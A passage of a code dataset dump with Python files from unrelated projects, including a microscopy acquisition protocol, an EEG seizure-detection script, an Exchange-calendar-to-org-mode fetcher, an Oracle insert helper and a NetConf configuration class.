True\n\twhile(loop):\n\t\tlogging.debug('Beginning of while(%s)')\n\t\tcalculateRetail()\n\t\tlogging.debug('End of while(%s)')\n\t\tprint('Contine? (y/n)')\n\t\tusr = str(input())\n\t\tif (usr.lower() == 'n'):\n\t\t\tprint('\\n*****\\nYou\\'ve elected to leave the program. Quitting.\\n*****\\n')\n\t\t\tloop = False\n\tlogging.debug('End of program(%s)')\nexcept KeyboardInterrupt:\n\tprint('\\n*****\\nYou\\'ve elected to leave the program. Quitting.\\n*****\\n')\n\texit\n\nexcept Exception as err:\n\tprint('An excpetion has occured:' + str(err))\n\n","sub_path":"challenge_6_1.py","file_name":"challenge_6_1.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"511778062","text":"#!/usr/bin/python\n\n##################\n# prebleach671.py\n#\n# Copyright David Baddeley, 2009\n# d.baddeley@auckland.ac.nz\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n#\n##################\n\n#import all the stuff to make this work\nfrom PYME.Acquire.protocol import *\nimport numpy\nimport wx\n\nfrom PYME.Acquire.pointScanner import PointScanner\nfrom PYME.misc.wxPlotPanel import PlotPanel\n#from PYME.Analysis import ofind\n\nps = PointScanner(scope.piezos[1], scope.piezos[2], scope, pixels = [10,10], pixelsize=numpy.array([0.03, .015]), dwelltime=100, avg=False, evtLog = True)\n\nclass SFGenPlotPanel(PlotPanel):\n def draw(self):\n if not hasattr( self, 'subplot' ):\n self.subplot = self.figure.add_subplot( 111 )\n\n #ofd = ofind.ObjectIdentifier(scope.pa.dsa.astype('f').squeeze().T)\n #ofd.FindObjects(70, 0, splitter=True)\n\n #print len(ofd)\n ox = scope.pa.dsa.shape[0]*numpy.array([0,1,1,0,0])*.07\n oy = scope.pa.dsa.shape[1]*numpy.array([0,0,1,1,0])*.07\n\n if scope.splitting =='up_down':\n oy *= .5\n\n X = (((ps.xp - ps.currPos[0])*1e3)[:, None]*numpy.ones(ps.yp.shape)[None, :]).ravel()\n Y = (((ps.yp - ps.currPos[1])*1e3)[None, :]*numpy.ones(ps.xp.shape)[:, None]).ravel()\n\n self.subplot.cla()\n\n for i in xrange(X.size):\n self.subplot.plot(ox + X[i], oy + Y[i])#, c=i)\n\n #self.subplot.set_xlim(0, 512)\n #self.subplot.set_ylim(0, 256)\n\n self.canvas.draw()\n\nclass ShiftfieldPreviewDialog(wx.Dialog):\n def __init__(self):\n wx.Dialog.__init__(self, None, -1, 'Shiftfield Settings')\n\n sizer1 = wx.BoxSizer(wx.VERTICAL)\n\n pan = wx.Panel(self, -1)\n hsizer = wx.BoxSizer(wx.HORIZONTAL)\n vsizer = wx.BoxSizer(wx.VERTICAL)\n\n hsizer2 = wx.BoxSizer(wx.HORIZONTAL)\n hsizer2.Add(wx.StaticText(pan, -1, 'Step Size x[mm]:'), 0, wx.ALL, 2)\n self.tPixelSizeX = wx.TextCtrl(pan, -1, value='%3.4f' % ps.pixelsize[0])\n hsizer2.Add(self.tPixelSizeX, 0, wx.ALL, 2)\n vsizer.Add(hsizer2)\n\n hsizer2 = wx.BoxSizer(wx.HORIZONTAL)\n hsizer2.Add(wx.StaticText(pan, -1, 'Step Size y[mm]:'), 0, wx.ALL, 2)\n self.tPixelSizeY = wx.TextCtrl(pan, -1, value='%3.4f' % ps.pixelsize[1])\n hsizer2.Add(self.tPixelSizeY, 0, wx.ALL, 2)\n vsizer.Add(hsizer2)\n\n hsizer2 = wx.BoxSizer(wx.HORIZONTAL)\n hsizer2.Add(wx.StaticText(pan, -1, '# x steps:'), 0, wx.ALL, 2)\n self.tXPixels = wx.TextCtrl(pan, -1, value='%d' % ps.pixels[0])\n hsizer2.Add(self.tXPixels, 0, wx.ALL, 2)\n vsizer.Add(hsizer2)\n\n hsizer2 = wx.BoxSizer(wx.HORIZONTAL)\n hsizer2.Add(wx.StaticText(pan, -1, '# y steps:'), 0, wx.ALL, 2)\n self.tYPixels = wx.TextCtrl(pan, -1, value='%d' % ps.pixels[1])\n hsizer2.Add(self.tYPixels, 0, wx.ALL, 2)\n vsizer.Add(hsizer2)\n\n hsizer2 = wx.BoxSizer(wx.HORIZONTAL)\n self.bTest = wx.Button(pan, -1, 'Test')\n self.bTest.Bind(wx.EVT_BUTTON, self.OnTest)\n hsizer2.Add(self.bTest, 0, wx.ALL, 2)\n self.bGo = wx.Button(pan, -1, 'Go')\n self.bGo.Bind(wx.EVT_BUTTON, self.OnGo)\n hsizer2.Add(self.bGo, 0, wx.ALL, 2)\n vsizer.Add(hsizer2)\n\n hsizer.Add(vsizer, 0, 0, 0)\n\n self.plotPan = SFGenPlotPanel(pan, size=(400,400))\n hsizer.Add(self.plotPan, 1, wx.EXPAND, 0)\n\n pan.SetSizerAndFit(hsizer)\n sizer1.Add(pan, 1,wx.EXPAND, 0)\n self.SetSizerAndFit(sizer1)\n\n def updatePointScanner(self):\n ps.pixelsize[0] = float(self.tPixelSizeX.GetValue())\n ps.pixelsize[1] = float(self.tPixelSizeY.GetValue())\n ps.pixels[0] = int(self.tXPixels.GetValue())\n ps.pixels[1] = int(self.tYPixels.GetValue())\n\n def OnTest(self, event):\n self.updatePointScanner()\n #print ps.pixels\n ps.genCoords()\n #print ps.nx\n self.plotPan.draw()\n self.plotPan.Refresh()\n\n def OnGo(self, event):\n self.updatePointScanner()\n ps.genCoords()\n self.EndModal(True)\n\n\ndef stop():\n ps.stop()\n MainFrame.pan_spool.OnBStopSpoolingButton(None)\n\n\nstopTask = T(500, stop)\n\ndef ShowSFDialog():\n ps.genCoords()\n dlg = ShiftfieldPreviewDialog()\n ret = dlg.ShowModal()\n dlg.Destroy()\n\n #stop after one full scan\n stopTask.when = 40 + 3*ps.imsize\n print((stopTask.when))\n\n\n\n\n\n#define a list of tasks, where T(when, what, *args) creates a new task\n#when is the frame number, what is a function to be called, and *args are any\n#additional arguments\n\ntaskList = [\nT(-1, scope.turnAllLasersOff),\nT(-1, ShowSFDialog),\n#T(-1, SetEMGain,150),\nT(20, scope.filterWheel.fw.setPos, 6),\nT(21, scope.l671.TurnOn),\nT(58, scope.l671.TurnOff),\nT(60, SetEMGain,0),\nT(61, scope.l671.TurnOn),\nT(61, scope.filterWheel.fw.setPos, 1),\nT(101, SetEMGain,150),\nT(110, MainFrame.pan_spool.OnBAnalyse, None),\nT(130, ps.start),\nT(maxint, scope.turnAllLasersOff),\nT(maxint, scope.filterWheel.fw.setPos, 6),\nT(maxint, ps.stop),\n]\n\n#optional - metadata entries\nmetaData = [\n('Protocol.DarkFrameRange', (0, 20)),\n('Protocol.DataStartsAt', 102),\n('Protocol.PrebleachFrames', (21, 58)),\n('Protocol.BleachFrames', (61,101)),\n]\n\n#must be defined for protocol to be discovered\nPROTOCOL = TaskListProtocol(taskList, metaData)\nPROTOCOL_STACK = ZStackTaskListProtocol(taskList, 20, 100, metaData, randomise = False)\n","sub_path":"PYME/Acquire/Protocols/tile671.py","file_name":"tile671.py","file_ext":"py","file_size_in_byte":5985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"300423963","text":"from __future__ import print_function\nimport scipy\nimport numpy\nimport csv\nimport sys\n\n\n\n# high-beta or low-gamma waves\n# power spectral density = X(w)X'(w)/2pi\n# want PSD(beta,gamma)/PSD(theta,alpha)\n# ER = (E_beta + E_gamma)/(E_theta + E_alpha)\n# E(w) is estimated with a sliding window of duration D using the periodogram method\n# cumulative sum of (ER[n] - avgER[0-n] - pos. bias)\n# when this sum minus the local minimum exceeds a threshold, it detects a seizure_autocorrelation\n# tells us both the alarm time (threshold exceeded index) and the change-point detection time (local min index)\n# two params: threshold lambda and the positive bias term\n# bias corresponds to magnitude of changes that should not raise an alarm\n# higher lamdba means lower false alarm rate but leads to higher instances of non-detection\n# duration used - 6s\n\n\n\ndef readData(fileName):\n \n # skip the first row assuming it contains column names\n data = numpy.loadtxt(open(fileName,\"rb\"),delimiter=\",\",skiprows=0)\n \n return data\n\n\ndef seizure(data, thresh = 0.3, bias = 0.1):\n \n # probably want to initialize by computing the ER for x number of windows, estimate a normal distribution\n # then compute threshold from whatever is statistically significant\n \n #Take some number of initial windows and set threshold to the minimum statistically significant value above the mean modeling the output as a normal distribution\n \n #print(numpy.shape(data))\n fs = 256 # sampling frequency\n duration = 5 # time duration of the window\n advance = duration * fs # the number of samples to shift the window forward by\n \n startIndex = 0\n endIndex = advance - 1\n \n thetaLow = 4\n thetaHigh = 7\n alphaLow = 8\n alphaHigh = 12\n \n betaLow = 13\n betaHigh = 24\n gammaLow = 25\n gammaHigh = 97\n \n ER = numpy.array([])\n \n while (endIndex < len(data)):\n \n energySpectrum = numpy.multiply(scipy.fft(data[startIndex:endIndex]), scipy.conj(scipy.fft(data[startIndex:endIndex])))\n energyRatio = sum(energySpectrum[betaLow:gammaHigh]) / sum(energySpectrum[thetaLow:alphaHigh])\n \n numpy.append(ER, energyRatio)\n \n endIndex = endIndex + advance\n startIndex = startIndex + advance\n \n \n U_n = numpy.array([])\n seizureIndex = numpy.array([])\n seizureStart = numpy.array([])\n \n \n \n for i in range(0, len(ER)-1):\n \n numpy.append(U_n, ER[i] - numpy.average(ER[0:i]) - bias)\n \n if(U_n[i] - min(U_n) > thresh):\n seizureIndex = numpy.append(seizureIndex, i)\n seizureStart = numpy.append(seizureStart, numpy.argmin(U_n))\n \n if(len(seizureIndex) == 0 and len(seizureStart) == 0):\n seizureIndex = numpy.array([-1])\n seizureStart = numpy.array([-1])\n \n return (seizureIndex, seizureStart)\n\nif __name__ == \"__main__\":\n \n if len(sys.argv) != 2:\n print(\"Usage: Seizure Detection Autocorrelation Scoring \", file=sys.stderr)\n exit(-1)\n \n data = readData(sys.argv[1])\n (seizureIndex, seizureStart) = seizure(data)\n \n print(seizureIndex)\n print(seizureStart)\n \n","sub_path":"UI/epileptogenicity.py","file_name":"epileptogenicity.py","file_ext":"py","file_size_in_byte":3253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"588328617","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jan 26 11:35:01 2016\n\n@author: admin\n\"\"\"\nfrom connection import cur\n\nclass Project (object):\n \"\"\"\n Project containes info required for input creation and model execution\n \"\"\"\n def __init__(self, projectid, nx = 10, ny = 10, nper = 1, lay_mode = 0, strt_mode = 0, strs_mode = 0): #mode 0 : properties defined at layer level, mode 1: properties defined at units level\n self.id = projectid\n self.dictofobjects = {}\n cur.execute (\"\"\"with objects as (select model_object_id from projects_model_objects where project_id = %s) select distinct discr from model_objects inner join objects on model_objects.id = objects.model_object_id;\"\"\",([self.id])) \n objects = cur.fetchall()\n for theobject in objects:\n self.dictofobjects[theobject[0]] = []\n cur.execute(\"\"\" with objects as (select model_object_id from projects_model_objects where project_id = %s) select id as layerid from model_objects inner join objects on model_objects.id = objects.model_object_id where discr = %s; \"\"\", ([self.id, theobject[0]]))\n temp = cur.fetchall()\n for i in temp:\n self.dictofobjects[theobject[0]].append(i[0])\n self.nx = nx\n self.ny = ny\n self.nper = nper\n self.lay_mode = lay_mode\n self.strt_mode = strt_mode\n self.strs_mode = strs_mode\n self.perlen = []\n self.nstp = []\n self.stress_period_list = []\n #################### Perlen, Nstp ##################################\n if self.strs_mode == 0: \n for i in range(self.nper):\n self.perlen.append(30)\n self.nstp.append(30)\n self.stress_period_list.append(i)\n else:\n for i in range(self.nper):\n self.perlen.append(100)\n self.nstp.append(100)\n self.stress_period_list.append(i)","sub_path":"pgflopy/module/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":1965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"444266225","text":"\"\"\"parent comment table\n\nRevision ID: 01afa7565197\nRevises: b7be488637c7\nCreate Date: 2021-05-05 13:17:19.072806\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '01afa7565197'\ndown_revision = 'b7be488637c7'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('parent_comment',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('body', sa.String(length=300), nullable=False),\n sa.Column('timestamp', sa.DateTime(), nullable=True),\n sa.Column('parent_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['parent_id'], ['parent.id'], name=op.f('fk_parent_comment_parent_id_parent')),\n sa.PrimaryKeyConstraint('id', name=op.f('pk_parent_comment'))\n )\n with op.batch_alter_table('parent_comment', schema=None) as batch_op:\n batch_op.create_index(batch_op.f('ix_parent_comment_timestamp'), ['timestamp'], unique=False)\n\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table('parent_comment', schema=None) as batch_op:\n batch_op.drop_index(batch_op.f('ix_parent_comment_timestamp'))\n\n op.drop_table('parent_comment')\n # ### end Alembic commands ###\n","sub_path":"version1/migrations/versions/01afa7565197_parent_comment_table.py","file_name":"01afa7565197_parent_comment_table.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"535589275","text":"from selenium import webdriver\nfrom webdriver_manager.chrome import ChromeDriverManager\nimport time\nfrom selenium.webdriver.common.keys import Keys\n\nops = webdriver.ChromeOptions()\n# ops.add_argument('--ignore-certificate-errors')\nops.add_argument(\"--disable-notifications\")\nops.add_argument(\"--incognito\")\ndriver = webdriver.Chrome(ChromeDriverManager().install(),options=ops)\n\ndata = \"Selenium jobs in bangalore\"\ndriver.get(\"https://www.google.com\")\ndriver.find_element_by_name(\"q\").send_keys(data,Keys.ENTER)\nprint(\"Page title \",driver.title)\ntime.sleep(4)\n\ndriver.quit()\n\n","sub_path":"day9/ByName.py","file_name":"ByName.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"641904198","text":"#!/usr/bin/python\n\n# This script was inspired by:\n# http://blogs.msdn.com/b/exchangedev/archive/2009/02/05/quick-and-dirty-unix-shell-scripting-with-ews.aspx\n# http://ewsmacwidget.codeplex.com/\n\nimport os\nfrom lxml import etree\nfrom datetime import datetime\nfrom datetime import date\nfrom datetime import timedelta\nfrom pytz import timezone\nimport pytz\nimport httplib\nimport base64\nimport ConfigParser\n\n# Read the config file\nconfig = ConfigParser.RawConfigParser()\ndir = os.path.realpath(__file__)[:-21]\nconfig.read(dir + 'config.cfg')\n\n# Exchange user and password\newsHost = config.get('ews-orgmode', 'host')\newsUrl = config.get('ews-orgmode', 'path')\newsUser = config.get('ews-orgmode', 'username')\newsPassword = config.get('ews-orgmode', 'password')\ntimezoneLocation = config.get('ews-orgmode', 'timezone')\ndaysHistory = config.getint('ews-orgmode', 'days_history')\ndaysFuture = config.getint('ews-orgmode', 'days_future')\nmaxEntries = config.getint('ews-orgmode', 'max_entries')\norgfile = config.get('ews-orgmode', 'orgfile')\n\n\ndef find_subelement(element, subelement):\n sub = element.find(subelement)\n return sub.text if sub is not None else None\n\n\ndef parse_ews_date(dateStr):\n d = datetime.strptime(dateStr, \"%Y-%m-%dT%H:%M:%SZ\")\n exchangeTz = pytz.utc\n localTz = timezone(timezoneLocation)\n return exchangeTz.localize(d).astimezone(localTz)\n\n\ndef format_orgmode_date(dateObj):\n return dateObj.strftime(\"%Y-%m-%d %H:%M\")\n\n\ndef format_orgmode_time(dateObj):\n return dateObj.strftime(\"%H:%M\")\n\n\n# Helper function to write an orgmode entry\ndef print_orgmode_entry(subject, start, end, location, response):\n startDate = parse_ews_date(start)\n endDate = parse_ews_date(end)\n # Check if the appointment starts and ends on the same day and use proper\n # formatting\n dateStr = \"\"\n if startDate.date() == endDate.date():\n dateStr = (\"<\" + format_orgmode_date(startDate) + \"-\"\n + format_orgmode_time(endDate) + \">\")\n else:\n dateStr = (\"<\" + format_orgmode_date(startDate) + \">--<\"\n + format_orgmode_date(endDate) + \">\")\n\n entry = \"* \"\n if subject is not None:\n entry += subject.encode('utf-8', 'ignore') + '\\n'\n\n if location is not None:\n entry += \":PROPERTIES:\\n\"\n entry += \":LOCATION: \" + location.encode('utf-8') + '\\n'\n entry += \":RESPONSE: \" + response.encode('utf-8') + '\\n'\n entry += \":END:\\n\"\n\n if dateStr != \"\":\n entry += dateStr + '\\n'\n\n return entry\n\n\n# Debug code\n# print_orgmode_entry(\"subject\", \"2012-07-27T11:10:53Z\",\n# \"2012-07-27T11:15:53Z\", \"location\", \"participants\")\n# exit(0)\n\n# Build the soap request\n# For CalendarItem documentation,\n# http://msdn.microsoft.com/en-us/library/exchange/aa564765(v=exchg.140).aspx\nstart = date.today() - timedelta(days=daysHistory)\nend = date.today() + timedelta(days=daysFuture)\nrequest = \"\"\"\n\n \n \n \n Default\n \n \n \n \n \n \n \n \n \n \n\"\"\".format(start, end, maxEntries)\n\n# Build authentication string, remove newline for using it in a http header\nauth = base64.encodestring(\"%s:%s\" % (ewsUser, ewsPassword)).replace('\\n', '')\nconn = httplib.HTTPSConnection(ewsHost)\nconn.request(\"POST\", ewsUrl, body=request, headers={\n \"Host\": ewsHost,\n \"Content-Type\": \"text/xml; charset=UTF-8\",\n \"Content-Length\": len(request),\n \"Authorization\": \"Basic %s\" % auth})\n\n# Read the webservice response\nresp = conn.getresponse()\ndata = resp.read()\nconn.close()\n\n# Debug code\n# print data\n# exit(0)\n\n# Parse the result xml\nroot = etree.fromstring(data)\n\nxpathStr = (\"/s:Envelope/s:Body/m:FindItemResponse/m:ResponseMessages/\"\n \"m:FindItemResponseMessage/m:RootFolder/t:Items/t:CalendarItem\")\nnamespaces = {\n 's': 'http://schemas.xmlsoap.org/soap/envelope/',\n 't': 'http://schemas.microsoft.com/exchange/services/2006/types',\n 'm': 'http://schemas.microsoft.com/exchange/services/2006/messages',\n}\n\n# Print calendar elements\nelements = root.xpath(xpathStr, namespaces=namespaces)\nwith open(orgfile, 'w') as fid:\n for element in elements:\n subject = find_subelement(element, '{http://schemas.microsoft.com'\n '/exchange/services/2006/types}Subject')\n location = find_subelement(element, '{http://schemas.microsoft.com'\n '/exchange/services/2006/types}Location')\n start = find_subelement(element, '{http://schemas.microsoft.com'\n '/exchange/services/2006/types}Start')\n end = find_subelement(element, '{http://schemas.microsoft.com'\n '/exchange/services/2006/types}End')\n response = find_subelement(element, '{http://schemas.microsoft.com/'\n 'exchange/services/2006/types}'\n 'MyResponseType')\n fid.write(print_orgmode_entry(subject, start, end, location, response))\n","sub_path":"ews-fetch-calendar.py","file_name":"ews-fetch-calendar.py","file_ext":"py","file_size_in_byte":5828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"613175316","text":"import cx_Oracle\nfrom datetime import timedelta,datetime\nfrom Oracle_.oracle import TestOracle\nimport pandas as pd\nimport datetime\nfrom fault_.des import SS\nimport os\nimport json\nimport time\nos.environ['NLS_LANG'] = 'SIMPLIFIED CHINESE_CHINA.UTF8'\n\n\n\n\nclass Ins2Orc(object):\n def __init__(self,user,pwd,ip,port,sid):\n self.connect=cx_Oracle.connect(user+\"/\"+pwd+\"@\"+ip+\":\"+port+\"/\"+sid)\n self.cursor=self.connect.cursor()\n\n def insert_(state,b_r,result_dict,DEVICECODE,result_cp,end_result_cp,broken_reason):\n # test_oracle = TestOracle('mw_app', 'app', '127.0.0.1', '1521', 'DBORCALE')\n test_oracle = TestOracle('mw_app', 'app', '192.168.2.200', '1521', 'ORCL')\n # param=[('30M00000059982619','(正常:0.3;异常:0.5;故障:0.2)','异常',time.strftime(\"%Y/%m/%D %H:%M:%S\")),]\n param = [\n (DEVICECODE, datetime.datetime.now(), state, b_r, result_dict['0'], result_dict['1'], result_dict['2'],broken_reason), ]\n param_1 = [\n (DEVICECODE, datetime.datetime.now(), int(result_cp.iloc[0, 0]), int(result_cp.iloc[0, 1]),\n int(result_cp.iloc[0, 2]),\n int(result_cp.iloc[0, 3]),\n int(result_cp.iloc[0, 4]), int(result_cp.iloc[0, 5]), int(result_cp.iloc[0, 6]), int(result_cp.iloc[0, 7]),\n int(result_cp.iloc[0, 8])), ]\n param_2 = [\n (DEVICECODE, datetime.datetime.now(), float(end_result_cp.iloc[0, 0]), float(end_result_cp.iloc[0, 1]),\n float(end_result_cp.iloc[0, 2]), float(end_result_cp.iloc[0, 3]), float(end_result_cp.iloc[0, 4]) \\\n , float(end_result_cp.iloc[0, 5]), float(end_result_cp.iloc[0, 6]), float(end_result_cp.iloc[0, 7]),\n float(end_result_cp.iloc[0, 8]), float(end_result_cp.iloc[0, 9]) \\\n , float(end_result_cp.iloc[0, 10]), float(end_result_cp.iloc[0, 11]), float(end_result_cp.iloc[0, 12]),\n float(end_result_cp.iloc[0, 13]), float(end_result_cp.iloc[0, 14]) \\\n , float(end_result_cp.iloc[0, 15]), float(end_result_cp.iloc[0, 16]),\n SS['S1'], SS['S2'], SS['S3'], SS['S4'], SS['S5'], SS['S6'], SS['S7'], SS['S8'],\n SS['S9'], SS['S10'], SS['S11'], SS['S12'], SS['S13'], SS['S14'], SS['S15'],\n SS['S16'], SS['S17']), ]\n sql_insert = 'insert into BHT_DEVICE_STATUS(DEVICECODE,TIME,DEVICE_STATUS,BROKEN_RESULT,STATUS_0,STATUS_1,STATUS_2,BROKEN_REASON)values(:1,:2,:3,:4,:5,:6,:7,:8)'\n sql_insert_1 = 'insert into BHT_DEVICE_MIDDLE_PARTONE(DEVICECODE,TIME,DEVICE_OBNORMAL_X1,DEVICE_OBNORMAL_X2,DEVICE_OBNORMAL_X3,DEVICE_OBNORMAL_X4,DEVICE_OBNORMAL_X5,DEVICE_OBNORMAL_X6,DEVICE_OBNORMAL_X7,DEVICE_OBNORMAL_X8,DEVICE_OBNORMAL_X9)values(:1,:2,:3,:4,:5,:6,:7,:8,:9,:10,:11)'\n sql_insert_2 = 'insert into BHT_DEVICE_MIDDLE_PARTTWO(DEVICECODE,TIME,DEVICE_FAULT_S1,DEVICE_FAULT_S2,DEVICE_FAULT_S3,DEVICE_FAULT_S4,DEVICE_FAULT_S5,DEVICE_FAULT_S6,DEVICE_FAULT_S7,DEVICE_FAULT_S8,DEVICE_FAULT_S9,\\\n DEVICE_FAULT_S10,DEVICE_FAULT_S11,DEVICE_FAULT_S12,DEVICE_FAULT_S13,DEVICE_FAULT_S14,DEVICE_FAULT_S15,DEVICE_FAULT_S16,DEVICE_FAULT_S17,\\\n DEVICE_FAULT_S1_DATA_RESULT,DEVICE_FAULT_S2_DATA_RESULT,DEVICE_FAULT_S3_DATA_RESULT,DEVICE_FAULT_S4_DATA_RESULT,DEVICE_FAULT_S5_DATA_RESULT, \\\n DEVICE_FAULT_S6_DATA_RESULT,DEVICE_FAULT_S7_DATA_RESULT,DEVICE_FAULT_S8_DATA_RESULT,DEVICE_FAULT_S9_DATA_RESULT,DEVICE_FAULT_S10_DATA_RESULT,\\\n DEVICE_FAULT_S11_DATA_RESULT,DEVICE_FAULT_S12_DATA_RESULT,DEVICE_FAULT_S13_DATA_RESULT,DEVICE_FAULT_S14_DATA_RESULT,DEVICE_FAULT_S15_DATA_RESULT,\\\n DEVICE_FAULT_S16_DATA_RESULT,DEVICE_FAULT_S17_DATA_RESULT)values(:1,:2,:3,:4,:5,:6,:7,:8,:9,:10,:11,:12,:13,:14,:15,:16,:17,:18,:19,:20,:21\\\n ,:22,:23,:24,:25,:26,:27,:28,:29,:30,:31,:32,:33,:34,:35,:36)'\n\n # param = [(DEVICECODE, state, b_r, result_dict['0'], result_dict['1'], result_dict['2']), ]\n try:\n '''插入数据'''\n # sql_insert = 'insert into BHT_DEVICE_STATUS(DEVICECODE,DEVICE_STATUS,BROKEN_RESULT,STATUS_0,STATUS_1,STATUS_2)values(:1,:3,:4,:5,:6,:7)'\n print('最终表插入成功')\n test_oracle.insert(sql_insert, param)\n except:\n print('最终表插入失败')\n test_oracle = TestOracle('mw_app', 'app', '192.168.2.200', '1521', 'ORCL')\n try:\n test_oracle.insert(sql_insert_1, param_1)\n print('中间表一插入成功')\n except:\n print('中间表一插入失败')\n test_oracle = TestOracle('mw_app', 'app', '192.168.2.200', '1521', 'ORCL')\n try:\n test_oracle.insert(sql_insert_2, param_2)\n print('中间表二插入成功')\n except:\n print('中间表二插入失败')\n\n\n","sub_path":"Oracle_/insert_to_oracle.py","file_name":"insert_to_oracle.py","file_ext":"py","file_size_in_byte":4946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"441201206","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 18-7-3 下午3:02\n# @Author : Xieth\n# @File : importpandm.py\n\nfrom person import Person\nfrom manager import Manager\nfrom decimal import *\n\n# getcontext().prec = 6\nbob = Person(name='Bob Smith', age=42, pay=Decimal(10000))\nsue = Person(name='Sue Jones', age=45, pay=Decimal(20000))\ntom = Manager(name='Tom Doe', age=55, pay=Decimal(30000))\ndb = [bob, sue, tom]\nfor obj in db:\n obj.giveRaise(Decimal(.10))\n\nfor obj in db:\n print(obj.lastName(), '=>', obj.pay)\n\n\n","sub_path":"Python Program/UNIT 1/test/importpandm.py","file_name":"importpandm.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"908738","text":"# Copyright (c) 2015 Prabhu Gurumurthy \n\n# Permission to use, copy, modify, and distribute this software for any\n# purpose with or without fee is hereby granted, provided that the above\n# copyright notice and this permission notice appear in all copies.\n\n# THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\nfrom exception import XMLCreateError\nfrom ncxml import xmlcreate, XMLCreate\nfrom netconf import validate_action, NetConfCommand\n\nclass Configure(NetConfCommand):\n def __init__(self, **kwargs):\n super(Configure, self).__init__(**kwargs)\n self._message = None\n if \"message\" in kwargs:\n self._message = kwargs[\"message\"]\n\n if self._batch:\n self.debug(\"is getting executed in batch mode\")\n\n def dispatch(self):\n \"\"\"\n @brief dispatch function, another void function, if this class is\n executed in batch mode, then each and every configure action\n will be dispatched to the target device immediately,\n otherwise the XML list will all be accumulated, then executed\n in whole\n\n \"\"\"\n func = self.dispatch.im_func.func_name\n\n self.debug(\"in function %s\", func)\n self.debug(\"%s: number of items in xml list is %d\", func,\n len(self._xmlList))\n\n try:\n if len(self._xmlList):\n xml = XMLCreate(\"configure\")\n xmlstring = xml(*self._xmlList)\n if self._message:\n self.debug(\"%s: commit message '%s'\", func, self._message)\n\n self.debug(\"%s: xmlstring \\n%s\", func, xmlstring)\n # After each execute, empty the XML List\n del self._xmlList[:]\n except XMLCreateError as error:\n self.error(error)\n\n self.debug(\"function %s complete\", func)\n\n @validate_action\n def interfaces(self, *args):\n \"\"\"\n @brief interfaces function, void function, appends the options to the \n XML list (xmlList) container\n @param args list of keywords and key value pairs\n @return void function, never returns\n\n Function expects a list of interfaces and the last item in the list is\n an action.\n\n Example:\n interfaces ge-0/0/10 create\n interfaces ge-0/0/10 ge-0/0/11 create\n interfaces ge-0/0/10 delete\n interfaces ge-0/0/10 ge-0/0/11 delete\n \"\"\"\n\n self.debug(\"in function %s\", self._func)\n arglen = len(args)\n\n self.debug(\"%s: number of arguments %d\", self._func, arglen)\n action = None\n if args[-1] in (\"create\", \"enable\", \"up\", \"add\", \"noshut\", \"en\", \"+\",\n \"noshutdown\"):\n action = \"enable\"\n else:\n action = \"disable\"\n\n self.debug(\"%s: action %s\", self._func, action)\n interfaces = set()\n # First the interfaces are added to a set, in that way any\n # duplicates would be removed without raising an error\n for ix in args[:(arglen - 1)]:\n interfaces.add(ix)\n\n ifList = []\n # convert the set to a tuple based list\n for ix in interfaces:\n ifList.append((\"interface\", {\"name\" : ix }, action))\n\n # Add the list to the XML list container\n self._xmlList.append((\"interfaces\", ifList))\n self.debug(\"function %s complete\", self._func)\n\n @validate_action\n def prefixlist(self, *args):\n \"\"\"\n @brief prefixlist function, void function, appends the options to\n the XML list (xmlList) container\n @param args list of keywords and key value pairs\n @return void function, never returns\n\n This function expects the name as the first value in args, followed\n by IP address (it can be either IPv4 or IPv6)\n\n optional argument list is logical systems which is converted to\n key value pair, by cli2dict function\n\n Example format:\n policy-action prefix-list name 1.1.1.1/32 create\n policy-action prefix-list name 1.1.1.1/32 delete\n policy-action prefix-list name 1.1.1.1/32 logical-system foo create\n policy-action prefix-list name 1.1.1.1/32 logical-system foo delete\n\n appropriate shortforms can also be used\n\n The action is validated by validate_action decorator, it is imperative\n to use the decorator. action words must always be at the last of the\n argument 